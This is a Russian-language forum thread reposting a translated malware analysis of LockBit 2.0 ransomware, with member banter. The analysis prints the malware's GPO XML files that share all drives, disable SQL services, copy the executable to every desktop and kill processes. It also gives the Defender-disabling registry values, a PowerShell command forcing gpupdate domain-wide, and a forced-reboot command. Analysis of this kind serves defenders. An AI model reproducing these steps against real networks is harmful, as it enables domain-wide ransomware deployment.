• XSS.stack #1 – первый литературный журнал от юзеров форума

Анализ LockBit Ransomware v2.0

Пожалуйста, обратите внимание, что пользователь заблокирован
Какая еще банда?

Так эти, не ваши что ли? Говорили Локбита представляют

З.Ы. yashechka ты в корреспонденты форумные заделался? То интервью ... , то реклама ... . Сколько платят? )))
 
Последнее редактирование:
Группа также гордится тем, что имеет самое быстрое шифрование на рынке программ-вымогателей. Это связано с тем, что он использует многопоточный подход к шифрованию и лишь частично шифрует файлы, поскольку в каждом файле шифруется только 4 КБ данных.
Вот интриганы. Ну скажем, можно выбрать случайные 4096/16 (делим на размер блока AES) фрагментов файла. То есть 256 фрагментов. При этом файлы хранятся в блоках 512 байт (а где-то и 4К). В итоге окажется прочитано и записано 256*512=131072, то есть 128 килобайт (а где-то мегабайт). Операции с устройствами хранения влияют на скорость существеннее, чем криптографическое преобразование. Что-то тут не то. Если это заявили представители группы в рекламных целях и что бы слегка запарить мозг конкрутентам, это одно. Если это пишет реверсер, то он малость недореверсил. Смысл вообще разбираться, как там происходит импорт? Это и так понятно без дизассемблера.
 
Последнее редактирование:
я не могу понять, ты новый ак качаешь или что ? в чём прикол выкладывать статью, которую написал другой мембер ?
Некоторые не умеют читать на английском.
 

Так эти, не ваши что ли? Говорили Локбита представляют

З.Ы. yashechka ты в корреспонденты форумные заделался? То интервью ... , то реклама ... . Сколько платят? )))
Я потерял работу из-за здоровья, нужно же как то отвлекаться. Подпись мою читал?
 
Вот интриганы. Ну скажем, можно выбрать случайные 4096/16 (делим на размер блока AES) фрагментов файла. То есть 256 фрагментов. При этом файлы хранятся в блоках 512 байт (а где-то и 4К). В итоге окажется прочитано и записано 256*512=131072, то есть 128 килобайт (а где-то мегабайт). Операции с устройствами хранения влияют на скорость существеннее, чем криптографическое преобразование. Что-то тут не то. Если это заявили представители группы в рекламных целях и что бы слегка запарить мозг конкрутентам, это одно. Если это пишет реверсер, то он малость недореверсил. Смысл вообще разбираться, как там происходит импорт? Это и так понятно без дизассемблера.
cpeter - опять к тебе вопрос 🤭 🤭 🤭
 
теперь понятно, что это за перец иностранный, скромняга
Не, ну если ты умеешь читать - то это однозначно круто, я лично не умею на 100%. Благодаря переводам я по сути учу язык, у меня образуются ассоциативные связи. К сожалению я поздно понял что инглиш это очень важно!!!
 
Не, ну если ты умеешь читать - то это однозначно круто, я лично не умею на 100%. Благодаря переводам я по сути учу язык, у меня образуются ассоциативные связи. К сожалению я поздно понял что инглиш это очень важно!!!
красава
 
Подключение к домену Active Directory

Чтобы подключиться к домену AD, LockBit сначала генерирует отображаемое имя LDAP для объекта групповой политики (GPO), разрешая строку стека "%02X%02X%02X%02X%02X%02X%02X" и форматируя ее со значениями из своего открытый ключ.

1648332531021.png


Затем вредоносная программа вручную извлекает два компонента домена из имени домена DNS и форматирует строку "LDAP://<имя контроллера домена>.<имя домена DNS>/DC=<компонент домена 1>,DC=<компонент домена 2>". Эта строка используется в качестве имени домена AD, когда LockBit вызывает метод IGroupPolicyObject::New для создания объекта групповой политики. Затем он вызывает IGroupPolicyObject::GetName, чтобы получить GUID, соответствующий созданному объекту групповой политики.

1648332544503.png


Затем LockBit строит путь Active Directory, форматируя строку "LDAP://DC=<Компонент домена 1>,DC=<Компонент домена 2>".

1648332560030.png


LockBit также создает путь к объекту групповой политики, форматируя строку "LDAP://CN=<GPO GUID>,CN=Policies,CN=System,DC=<Domain component 1>,DC=<Domain Component 2>".

Наконец, путь Active Directory и путь объекта групповой политики используются для вызова CreateGPOLink для подключения объекта групповой политики к указанному домену Active Directory.

1648332571667.png


Установка атрибутов GPO

Чтобы изменить объект групповой политики для внедрения пользовательских политик LockBit, сначала необходимо обновить клиентские расширения объекта (CSE). Для этого необходимо установить атрибуты GPO gPCMachineExtensionNames и gPCUserExtensionNames.

Во-первых, учитывая путь объекта групповой политики, LockBit вызывает ADsGetObject для получения объекта интерфейса IAD, соответствующего объекту групповой политики, с использованием IID {FD8256D0-FD15-11CE-ABC4-02608C9E7553}.

1648332586919.png


Затем, чтобы установить атрибут gPCMachineExtensionNames объекта групповой политики, LockBit создает структуру VARIANT, содержащую следующие пары расширений для желаемой модификации объекта групповой политики.

[{00000000-0000-0000-0000-000000000000}{BFCBBEB0-9DF4-4C0C-A728-434EA66A0373}{CC5746A9-9B74-4BE5-AE2E-64379C86E0E4}]
[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]
[{6A4C88C6-C502-4F74-8F60-2CB23EDC24E2}{BFCBBEB0-9DF4-4C0C-A728-434EA66A0373}]
[{91FBB303-0CD5-4055-BF42-E512A681B325}{CC5746A9-9B74-4BE5-AE2E-64379C86E0E4}]


1648332610129.png


Затем он разрешает строку стека "gPCMachineExtensionNames" и вызывает IADs::Put, чтобы установить значение gPCMachineExtensionNames для объекта групповой политики в значение в структуре VARIANT.

1648332619731.png


Точно так же LockBit устанавливает атрибут gPCUserExtensionNames объекта групповой политики со следующими парами расширений.

[{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[{7150F9BF-48AD-4DA4-A49C-29EF4A8369BA}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}]
[{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]


Вредоносная программа также устанавливает для атрибута versionNumber объекта групповой политики значение "2621892".

1648332721952.png


Обновление GPT.INI

Затем LockBit находит корневой каталог GUID GPO, который содержит файл с именем "GPT.ini." Обновляя свойство Version внутри этого файла, LockBit может сигнализировать gpupdate о наличии новой модификации для применения новых настроек.

Во-первых, используя объект IGroupPolicyObject, вредоносное ПО вызывает IGroupPolicyObject::GetFileSysPath для получения корневого каталога GUID GPO. Он также вызывает IGroupPolicyObject::GetDisplayName, чтобы получить отображаемое имя объекта групповой политики.

1648332737391.png


Затем LockBit разрешает строку стека "GPT.INI" и добавляет ее в корневой каталог, вызывая PathAppendW. Используя этот путь GPT.INI, вредоносное ПО вызывает CreateFileW, чтобы получить дескриптор этого файла.

1648332751615.png


Затем вредоносное ПО форматирует следующую строку и преобразует ее в многобайтовую строку, вызывая WideCharToMultiByte.

[General]
Version=2621892
displayName=<GPO display name>


1648332771217.png


1648332779463.png


Наконец, LockBit вызывает WriteFile для записи обновленного содержимого в файл GPT.INI объекта групповой политики, чтобы сообщить gpupdate.

1648332788236.png


Обновление папки GPO

Следующая часть заключается в том, чтобы LockBit поместил XML-файлы групповой политики в папку настроек компьютера объекта групповой политики (<GPO GUID>\MACHINE\Preferences) на компьютере с контроллером домена.

Эти файлы определяют новые групповые политики, которые контроллер домена должен распространять в сети. Ниже приведен список этих файлов и их назначения:

<GPO GUID>\MACHINE\Preferences\NetworkShares\NetworkShares.xml
<GPO GUID>\MACHINE\Preferences\Services\Services.xml
<GPO GUID>\MACHINE\Preferences\Files\Files.xml
<GPO GUID>\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml:
C:\Windows\System32\taskkill.exe</Command>/IM #proc_name для каждого процесса в WIDESTR_PROCESSES_EXE_LIST # /F
<GPO GUID>\MACHINE\Registry.pol
<GUID GPO>\MACHINE\comment.cmtx


Во-первых, приведенный ниже файл NetworkShares.xml отформатирован для определения общего сетевого ресурса для каждого диска на сетевых узлах после его отправки контроллером домена. Это позволит совместно использовать все диски каждого хоста в сети, чтобы LockBit мог их зашифровать.

<?xml version="1.0" encoding="UTF-8"?>
<NetworkShareSettings clsid="{520870D8-A6E7-47e8-A8D8-E6A4E76EAEC2}">
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_D" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_D" path="D:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_E" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_E" path="E:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_F" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_F" path="F:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_G" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_G" path="G:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_H" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_H" path="H:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_I" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_I" path="I:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_J" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_J" path="J:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_K" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_K" path="K:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_L" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_L" path="L:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_M" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_M" path="M:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_N" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_N" path="N:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_O" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_O" path="O:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_P" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_P" path="P:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Q" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_Q" path="Q:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_R" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_R" path="R:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_S" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_S" path="S:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_T" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_T" path="T:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_U" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_U" path="U:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_V" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_V" path="V:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_W" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_W" path="W:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_X" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_X" path="X:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Y" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_Y" path="Y:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
<NetShare clsid="{2888C5E7-94FC-4739-90AA-2C1536D68BC0}" image="2" name="%%ComputerName%%_Z" changed="%s" uid="%s">
<Properties action="U" name="%%ComputerName%%_Z" path="Z:" comment="" allRegular="0" allHidden="0" allAdminDrive="0" limitUsers="NO_CHANGE" abe="NO_CHANGE" />
</NetShare>
</NetworkShareSettings>

Затем приведенный ниже Services.xml форматируется для добавления политик для остановки и отключения определенных служб на узлах AD. Список остановленных служб:

"SQLPBDMS", "SQLPBENGINE", "MSSQLFDLauncher", "SQLSERVERAGENT", "MSSQLServerOLAPService", "SSASTELEMETRY", "SQLBrowser", "SQL Server Distributed Replay Client", "SQL Server Distributed Replay Controller", "MsDtsServer150", "SSISTELEMETRY150", "SSISScaleOutMaster150", "SSISScaleOutWorker150", "MSSQLLaunchpad", "SQLWriter", "SQLTELEMETRY", "MSSQLSERVER"

<?xml version="1.0" encoding="UTF-8"?>
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}">
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLPBDMS" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBDMS" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLPBENGINE" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLPBENGINE" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLFDLauncher" image="4" changed="%s" uid="%s" userContext="0" removePolicy="0" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLFDLauncher" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLSERVERAGENT" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLSERVERAGENT" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLServerOLAPService" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLServerOLAPService" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSASTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSASTELEMETRY" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLBrowser" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLBrowser" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQL Server Distributed Replay Client" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Client" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQL Server Distributed Replay Controller" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQL Server Distributed Replay Controller" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MsDtsServer150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MsDtsServer150" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISTELEMETRY150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISTELEMETRY150" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISScaleOutMaster150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISScaleOutMaster150" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SSISScaleOutWorker150" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SSISScaleOutWorker150" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLLaunchpad" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLLaunchpad" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLWriter" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLWriter" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="SQLTELEMETRY" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="SQLTELEMETRY" serviceAction="STOP" timeout="30" />
</NTService>
<NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="MSSQLSERVER" image="4" changed="%s" uid="%s" disabled="0">
<Properties startupType="DISABLED" serviceName="MSSQLSERVER" serviceAction="STOP" timeout="60" />
</NTService>
</NTServices>
Перед сбросом файла Files.xml LockBit самостоятельно распространяется в папку SYSVOL контроллера домена.

Сначала вредоносное ПО вызывает GetModuleFileNameW, чтобы получить собственный путь к исполняемому файлу, и строит следующий новый путь.

%SystemRoot%\SYSVOL_DFSR\sysvol\<Domain DNS name>\siripts

Затем он вызывает CopyFileW для копирования своего исполняемого файла в этот файл siripts. Поскольку SYSVOL — это каталог для всех общедоступных файлов Active Directory, вредоносный исполняемый файл теперь доступен для всех хостов в сетевом домене.

1648332883585.png


Наконец, LockBit форматирует и дропает файл Files.xml ниже. Значение поля fromPath отформатировано в путь к исполняемому файлу в папке SYSVOL, а значение поля targetPath установлено в %%DesktopDir%%\%02X%02X%02X.exe, которое отформатировано с использованием открытого ключа LockBit. В конечном счете, политика этого файла сбрасывает дропает исполняемый файл из каталога SYSVOL контроллера домена в каталог Desktop каждого сетевого хоста.

1648332901935.png


<?xml version="1.0" encoding="UTF-8"?>
<Files clsid="{215B2E53-57CE-475c-80FE-9EEC14635851}">
<File clsid="{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}" name="%s" status="%s" image="2" bypassErrors="1" changed="%s" uid="%s">
<Properties action="U" fromPath="%s" targetPath="%s" readOnly="0" archive="1" hidden="0" suppress="0" />
</File>
</Files>


Необработанное содержимое ScheduledTasks.xml задокументировано ниже. Этот файл содержит политику завершения указанных процессов в списке процессов конфигурации.

<?xml version="1.0" encoding="UTF-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="%s" image="2" changed="%s" uid="%s">
<Properties action="U" name="%s" runAs="%s" logonType="InteractiveToken">
<Task version="1.2">
<RegistrationInfo>
<Author>%s</Author>
<Description />
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>%s</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Triggers>
<RegistrationTrigger>
<Enabled>true</Enabled>
%s
</RegistrationTrigger>
</Triggers>
<Actions Context="Author">%s</Actions>
</Task>
</Properties>
</TaskV2>
</ScheduledTasks>


LockBit форматирует это для выполнения taskkill.exe для каждого процесса в списке процессов конфигурации. Это делается путем создания этих тегов и включения их в основной файл ScheduledTasks.xml, где поле "Process_Name" — это имя процесса, который необходимо завершить.

<Exec><Command>C:\Windows\System32\taskkill.exe</Command><Arguments>/IM "Process_Name" /F</Arguments></Exec>

Наконец, LockBit удаляет файл Registry.pol (https://github.com/cdong1012/IDAPyt...er/Lockbit/lockbit_dropped_files/Registry.pol) и файл comment.cmtx ниже.

<?xml version="1.0" encoding="UTF-8"?>
<policyComments xmlns="http://www.microsoft.com/GroupPolicy/CommentDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">
<policyNamespaces>
<using prefix="ns0" namespace="Microsoft.Policies.WindowsDefender" />
</policyNamespaces>
<comments>
<admTemplate />
</comments>
<resources minRequiredRevision="1.0">
<stringTable />
</resources>
</policyComments>


Registry.pol содержит следующий список путей реестра и значения для их настройки.
  • Software\Policies\Microsoft\Windows Defender\DisableAntiSpyware: +
  • Software\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring: +
  • Software\Policies\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent: Never send
  • Software\Policies\Microsoft\Windows Defender\Threats\Threats_ThreatSeverityDefaultAction: +
  • Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Low: -
  • Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Medium: -
  • Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\High: -
  • Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction\Severe: -
  • Software\Policies\Microsoft\Windows Defender\UX Configuration\Notification_Suppress: +
Следующие конфигурации реестра отключают такие функции Защитника Windows, как антишпионское ПО, защита в режиме реального времени, отправка образцов на серверы Microsoft, действия по умолчанию и отображение уведомлений на всех узлах сети.

Принудительное использование GPUpdate на всех хостах через PowerShell

После добавления этих новых политик LockBit вызывает Sleep, чтобы подождать 1 минуту, пока изменения будут применены, прежде чем создавать процесс для запуска gpupdate.exe на этих сетевых узлах.

Во-первых, используя объект IADs из rootDSE контроллера домена, вредоносное ПО вызывает IAD::Get для получения контекста именования по умолчанию для получения имени домена Active Directory.

1648333016126.png


Затем LockBit форматирует следующую команду, в которой в качестве базы поиска задается доменное имя Active Directory. Эта команда Powershell выполняет поиск по всем компьютерам в домене Active Directory и для каждого из найденных принудительно вызывает GPUpdate на этом хосте, чтобы применить новые изменения групповой политики. Вредонос запускает эту команду, вызывая CreateProcessW.

powershell.exe -Command "Get-ADComputer -filter * -Searchbase '%s' | foreach{ Invoke-GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}

1648333039336.png


Принудительное использование GPUpdate на всех хостах вручную


Если вышеуказанное не удается, LockBit пытается принудительно запустить GPUpdate вручную.

Получив имя домена Active Directory, вредоносное ПО добавляет его к "LDAP://", чтобы построить полный путь к домену, и вызывает ADsOpenObject для получения объекта IDirectorySearch для выполнения запросов на хостах AD.

1648333054721.png


Затем LockBit вызывает IDirectorySearch::SetSearchPreference, чтобы задать предпочтение поиска ADS_SEARCHPREF_SEARCH_SCOPE, и IDirectorySearch::ExecuteSearch для поиска имени каждого компьютера в домене AD.

1648333066876.png


1648333074917.png


Затем LockBit вызывает GetFirstRow и GetNextRow для перебора каждой строки результата поиска. Для каждой строки он вызывает GetNextColumnName и GetColumn, чтобы получить данные из каждого столбца этой строки. Вредоносная программа обращается к полю DNString в каждом именованном столбце, чтобы получить отличительное имя (DN) сетевого узла в домене. Учитывая имя хоста, LockBit вызывает CreateThread, чтобы запустить поток для ручного выполнения GPUpdate и принудительного перезапуска хоста.
1648333085888.png


1648333103160.png


Функция потока выполняется только в том случае, если вредоносное ПО в данный момент работает на контроллере домена.

Во-первых, LockBit вызывает CoCreateInstance, чтобы получить объект ITaskService, и вызывает ITaskService::Connect, чтобы установить соединение с сетевым узлом, используя его DN.

1648333116684.png


Затем он вызывает ITaskService::GetFolder для получения объекта ITaskFolder, соответствующего папке зарегистрированных задач, и вызывает ITaskFolder::DeleteTask для удаления любой существующей задачи для этого конкретного хоста.

Затем LockBit вызывает ITaskService::NewTask, чтобы создать новую задачу для сетевого узла.

1648333128614.png


После получения объекта IPrincipal вредоносное ПО вызывает IPrincipal::put_LogonType, чтобы установить задачу для запуска в сеансе интерактивного входа пользователя. Он также вызывает IPrincipal::put_RunLevel, чтобы настроить выполнение задачи с минимальными привилегиями.

1648333141223.png


После получения объекта ITaskDefinition LockBit вызывает ITaskDefinition::get_Triggers для получения объекта ITriggerCollection. Затем он вызывает ITriggerCollection::Create, чтобы создать новый триггер для задачи, который запускается при регистрации задачи.
1648333151068.png


Используя объект ITaskDefinition, вредоносное ПО также вызывает ITaskDefinition::get_Actions для получения объекта IActionCollection. Затем он вызывает IActionCollection::Create, чтобы создать новое действие для задачи, указав, что это исполняемое действие.

1648333163327.png


Затем, используя объект действия IExecAction, LockBit вызывает IExecAction::put_Path, чтобы установить путь к исполняемому действию "gpupdate.exe".

1648333174697.png

Затем он вызывает IExecAction::put_Arguments для помещения "/force" в аргумент исполняемого файла, ITaskFolder::RegisterTaskDefinition для регистрации определения задачи и IRegisteredTask::Run для немедленного запуска задачи.

1648333187459.png


Это запустит GPUpdate на сетевом узле немедленно и всякий раз, когда кто-то входит в систему, что затем применит изменения групповой политики с контроллера домена.

Наконец, LockBit заставляет сетевой узел перезапустить себя.

Это делается путем вызова CoCreateInstance для получения объекта IWbemLocator. Используя объект, он вызывает IWbemLocator::ConnectServer для подключения к "\\<имя хоста AD>\ROOT\CIMV2".

1648333199260.png


Затем вредоносная программа вызывает IWbemServices::GetObjectA для получения объекта IWbemClassObject, соответствующего всем процессам Win32 на сетевом узле. Используя этот объект, он вызывает IWbemClassObject::GetMethod для получения объекта IWbemClassObject, соответствующего методу создания процессов. Затем он вызывает IWbemClassObject::SpawnInstance для создания нового экземпляра метода создания процесса.

1648333214514.png


Наконец, он разрешает строку стека "cmd.exe /c "shutdown.exe /r /f /t 0"", вызывает IWbemClassObject::Put с именем свойства "CommandLine" и IWbemServices::ExecMethod для выполнения создания процесса. Метод для создания процесса командной строки для выполнения указанной выше команды.

Эта команда принудительно закрывает работающие приложения без предупреждения пользователей и немедленно перезагружает компьютер после выключения.

1648333231047.png


Персистенс в реестре

Перед выполнением процедур шифрования LockBit настраивает персистенс через реестр на случай, если вредоносное ПО будет прервано завершением работы системы на полпути.

Сначала вредоносное ПО разрешает строку стека "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" и вызывает RegCreateKeyExA, чтобы получить дескриптор этого ключа реестра.

1648333250480.png


